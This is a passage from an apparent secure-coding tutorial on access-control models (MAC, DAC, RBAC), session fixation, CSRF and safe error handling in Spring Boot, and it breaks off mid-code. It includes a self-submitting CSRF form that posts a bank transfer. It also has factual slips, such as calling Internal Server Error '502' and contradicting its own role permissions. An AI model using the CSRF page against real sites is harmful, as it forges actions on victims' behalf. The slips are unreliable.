&lt;p&gt;This principle also implies following the &lt;strong&gt;need to know&lt;/strong&gt; principle, so if an entity (e.g. a user) is granted access to the &lt;strong&gt;SECRET&lt;/strong&gt; security level, it is mandatory to specify which specific categories of that security level should be granted access to. Simply put, if you grant a user access to documents of &lt;code&gt;confidential&lt;/code&gt; level, it is necessary to specify which specific types of documents the user has access to.&lt;/p&gt;
&lt;h3&gt;
  
  
  DAC
&lt;/h3&gt;

&lt;p&gt;DAC (&lt;strong&gt;Discretionary Access Control&lt;/strong&gt;) is a less strict methodology than MAC for access control. In this model, access to a protected object by other entities is determined not by the system, but by the &lt;strong&gt;owner&lt;/strong&gt; of the object. Accordingly, the use of this model is justified when users/processes have to manage access to their data themselves. The model implies that access can be granted not only to individual users, but also to certain groups to which those users are assigned.&lt;/p&gt;

&lt;p&gt;We encounter DAC almost every day in the file system of &lt;strong&gt;Unix&lt;/strong&gt; based operating systems and &lt;strong&gt;Windows&lt;/strong&gt;. In it, it consists of the following parameters:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;File Owner&lt;/strong&gt; - someone who is able to grant rights to their resource.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Group&lt;/strong&gt; - users who are allocated certain rights to the resource.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Rights&lt;/strong&gt; - write/read/execute rights and combinations thereof.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  RBAC
&lt;/h3&gt;

&lt;p&gt;RBAC (&lt;strong&gt;Role Based Access Control&lt;/strong&gt;) is the most popular and used type of access control that is used in web applications. It is convenient and effective in most scenarios:&lt;/p&gt;

&lt;p&gt;As the name implies, every entity in our system has roles assigned to it, and each role has a list of &lt;strong&gt;permissions&lt;/strong&gt; or &lt;strong&gt;policies&lt;/strong&gt; that are used to further determine whether it can perform a certain action or not. Roles can inherit each other's permissions.&lt;/p&gt;

&lt;p&gt;Simply put, let's imagine we have a blog with 4 roles: USER, AUTHOR, EDITOR and ADMIN. Let's represent them in JSON format and give them the format of permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"roles"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"USER"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.view.published"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.view.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.edit.own"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.delete.own"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AUTHOR"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"USER"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.create.draft"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.edit.own"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.view.own"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.submit.for_review"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"EDITOR"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"AUTHOR"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.edit.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.publish"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.unpublish"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.moderate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.assign.to_author"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ADMIN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"EDITOR"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"user.create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"user.edit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"user.delete"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"site.configure"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.delete.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.delete.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"site.manage_advertising"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In our blog management system, the &lt;strong&gt;USER&lt;/strong&gt; role allows you to view published articles and interact with comments. &lt;strong&gt;AUTHOR&lt;/strong&gt; inherits the &lt;code&gt;USER&lt;/code&gt; rights and can additionally create and edit your articles by submitting them for review. &lt;strong&gt;EDITOR&lt;/strong&gt; inherits the rights of &lt;code&gt;AUTHOR&lt;/code&gt; and can publish, unpublish and edit only his/her articles, as well as moderate comments and assign tasks to authors. The &lt;strong&gt;ADMIN&lt;/strong&gt; has full access to all aspects of the system, including user management, site customization, and content removal.&lt;/p&gt;

&lt;p&gt;Often (including in our example) a &lt;strong&gt;wildcard&lt;/strong&gt; is allowed in the permissions to mean &lt;strong&gt;ALL&lt;/strong&gt;. For example, we have the permissions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;article.delete.own&lt;/code&gt; - Gives the right to delete your own articles.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;article.delete.userid&lt;/code&gt; - The right to delete a user with ID &lt;code&gt;userid&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And now we want to give &lt;code&gt;EDITOR&lt;/code&gt; the right to delete all articles. In this case, we write:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;article.delete.*&lt;/code&gt; - Here &lt;code&gt;*&lt;/code&gt; is a wildcard.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Often, in addition to roles, users are also allowed to assign additional rights (or take away rights that their role has).&lt;br&gt;
In order to take away a right, the &lt;code&gt;-&lt;/code&gt; sign is usually added before the right. For example, to take away the right to moderate comments from a user with the &lt;strong&gt;EDITOR&lt;/strong&gt; role, we add the following policy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-comment.moderate&lt;/code&gt; &lt;em&gt;note that “-” at the beginning&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Session Management
&lt;/h2&gt;

&lt;p&gt;Once we authenticate a user, we create a session for them, and further store their session ID in cookies. The important thing here is to make sure we have considered all the risks during the authentication process and afterwards, so let's look at the main threats we need to consider:&lt;/p&gt;
&lt;h3&gt;
  
  
  Session Fixation
&lt;/h3&gt;

&lt;p&gt;The goal of this attack is simple and straightforward - the attacker must make a legitimate user authorize with the &lt;strong&gt;attacker's&lt;/strong&gt; session ID.&lt;/p&gt;

&lt;p&gt;Let's consider a simple example:&lt;br&gt;
Depending on the web server architecture, it is often allowed to pass the session ID not via Cookies, but via Query parameters (this is especially possible if the user blocks cookies).&lt;br&gt;
As a result, when attempting to authorize, the attacker is given the session ID (e.g. &lt;code&gt;/login?sid=ABCDEFGH....&lt;/code&gt;. Using phishing or any other methods, they can force the user to click on the link where their session ID is specified and authorize, after which the attacker is authorized along with the user.&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;The mitigation of this attack vector is obvious - after a user is successfully authenticated, their current session ID should &lt;strong&gt;reset&lt;/strong&gt;. In most of popular web frameworks (including Spring Boot, Quarkus), this is the default behavior, but it worth specifying, in case something is changed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Bean&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;SecurityFilterChain&lt;/span&gt; &lt;span class="nf"&gt;secure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpSecurity&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionManagement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionFixation&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;migrateSession&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CSRF Attacks
&lt;/h3&gt;

&lt;p&gt;CSRF &lt;strong&gt;(Crosst Site Request Forgery)&lt;/strong&gt;, also known as XSRF, is a type of attack on web applications where the attacker's goal is to perform an action on behalf of a user already authenticated to the system. That is, the attacker's goal is to trick the user into accidentally clicking on a special link or downloading a specific resource (such as an image), which will result in a request being executed on the user's behalf on another site where the user is authorized. For example, the website to which the user was redirected by the attacker may have had such a form and a script when downloading:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://bank.com/transfer"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"1000"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"to_account"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"123456789"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clearly, in real-world scenarios, scripts are much more sophisticated, but techniques for defending against CSRF attacks are effective for all:&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;CSRF tokens&lt;/strong&gt;&lt;br&gt;
The most popular method of CSRF protection is the use of &lt;strong&gt;CSRF&lt;/strong&gt; tokens. These are random tokens that are issued after authentication, which can even be stored directly in forms issued to the user. Most web frameworks support them out of the box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Bean&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;SecurityFilterChain&lt;/span&gt; &lt;span class="nf"&gt;secure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpSecurity&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionManagement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionFixation&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;migrateSession&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// migrating session as in previous example&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;csrf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;csrf&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;csrfTokenRepository&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* your repository */&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// enabling CSRF&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, depending on security requirements, they can be issued according to the following principle:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;For most applications&lt;/strong&gt;: 1 CSRF token per session. When the session is reset/updated, the token will be updated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For high risk applications&lt;/strong&gt;: CSRF token should be updated every request sent by the user (e.g. issued in &lt;code&gt;X-CSRF-TOKEN&lt;/code&gt; header for subsequent request)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Same-Site attribute setting&lt;/strong&gt;&lt;br&gt;
If the application architecture allows, you can set the &lt;strong&gt;Same-Site&lt;/strong&gt; attribute to &lt;code&gt;Strict&lt;/code&gt; or &lt;code&gt;Lax&lt;/code&gt; by session cookies. This will let the browser know that in the case of &lt;code&gt;Strict&lt;/code&gt;, the cookie can only be sent if the user interacts on the site for &lt;strong&gt;all requests&lt;/strong&gt;, and in the case of &lt;code&gt;Lax&lt;/code&gt;, to restrict sending only with &lt;em&gt;insecure&lt;/em&gt; requests (e.g. POST requests).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use of tokens instead of sessions&lt;/strong&gt;&lt;br&gt;
Using JWT tokens instead of cookie sessions, and sending them in &lt;strong&gt;headers&lt;/strong&gt; is a viable option to protect against CSRF attacks, because it requires access to &lt;code&gt;localStorage&lt;/code&gt; which is separated between sites, but still, practices described above are a good tone.&lt;/p&gt;
&lt;h2&gt;
  
  
  Secure Error Handling
&lt;/h2&gt;

&lt;p&gt;Our application, like any other information system goes from one state to another, and it is possible that eventually we will have to switch to the &lt;strong&gt;error&lt;/strong&gt; state.&lt;br&gt;
We've already discussed this in a previous article, but let's do it again. Once an application fails and is in error state, it is critical for it to &lt;strong&gt;fail safe&lt;/strong&gt;. An error can be considered to be failing safe if:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;No technical details of the system were issued as a result of the error&lt;/li&gt;
&lt;li&gt;The integrity and confidentiality of data has not been compromised&lt;/li&gt;
&lt;li&gt;The system was able to return to a normal, operational state&lt;/li&gt;
&lt;li&gt;The information about the error was properly logged, for further analysis&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the context of secure programming, we especially need to pay attention to how we handle errors in our application. In many web frameworks like Spring Boot error handling is centralized, allowing them to be handled very efficiently.&lt;/p&gt;

&lt;p&gt;By default, in case an error we don't know is called (trivially, &lt;code&gt;IllegalStateException&lt;/code&gt;, it can stand for anything), most frameworks will handle it in a response with the status code &lt;code&gt;502 Internal Server Error&lt;/code&gt;, and &lt;strong&gt;put the stacktrace right in the response&lt;/strong&gt;. This is a direct path to &lt;strong&gt;Information Disclosure&lt;/strong&gt; - it will give away a lot of information not just about the application's programming language, but about its internal structure. It exists only to speed up the development process so that you don't have to connect to the server an extra time to see the error, but when you go into &lt;strong&gt;production&lt;/strong&gt;, this behavior &lt;strong&gt;must&lt;/strong&gt; be disabled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Information Disclosure&lt;/strong&gt; is actually a very dangerous error that can lead to catastrophic consequences. Don't forget, if your application becomes a target for attackers, the very first and almost the most basic step in exploiting vulnerabilities is &lt;strong&gt;gathering information about the system&lt;/strong&gt;. Because knowing how your system is organized makes it much easier to find vulnerabilities in it.&lt;/p&gt;

&lt;p&gt;What have we learned from this? It is much easier and more convenient to designate a number of custom errors that are under our control (i.e. we will understand what exactly went wrong) and process them in a centralized way. And all other errors unknown to us - securely logged without issuing a stacktrace to the user. &lt;em&gt;Securely logged&lt;/em&gt; means that even though logs are stored locally (or on some log server), they should not contain sensitive information (e.g. API keys, passwords, etc.). Failure to do so will come back to bite you in case of certain internal threats.&lt;/p&gt;

&lt;p&gt;For example, let's imagine that a user wants to find some order by ID. In case it is not found, we will call our own &lt;code&gt;OrderNotFoundException&lt;/code&gt; error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;OrderNotFoundException&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;RuntimeException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;OrderNotFoundException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;orderId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="nf"&gt;getOrderId&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's declare a general error style, specifying the message we can display to the user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;errorCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;errorMessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getErrorCode&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getErrorMessage&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally process them. Don't forget, we process all the errors we know about, and the unknown ones are logged and returned to the user as little information as possible.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@ControllerAdvice&lt;/span&gt;
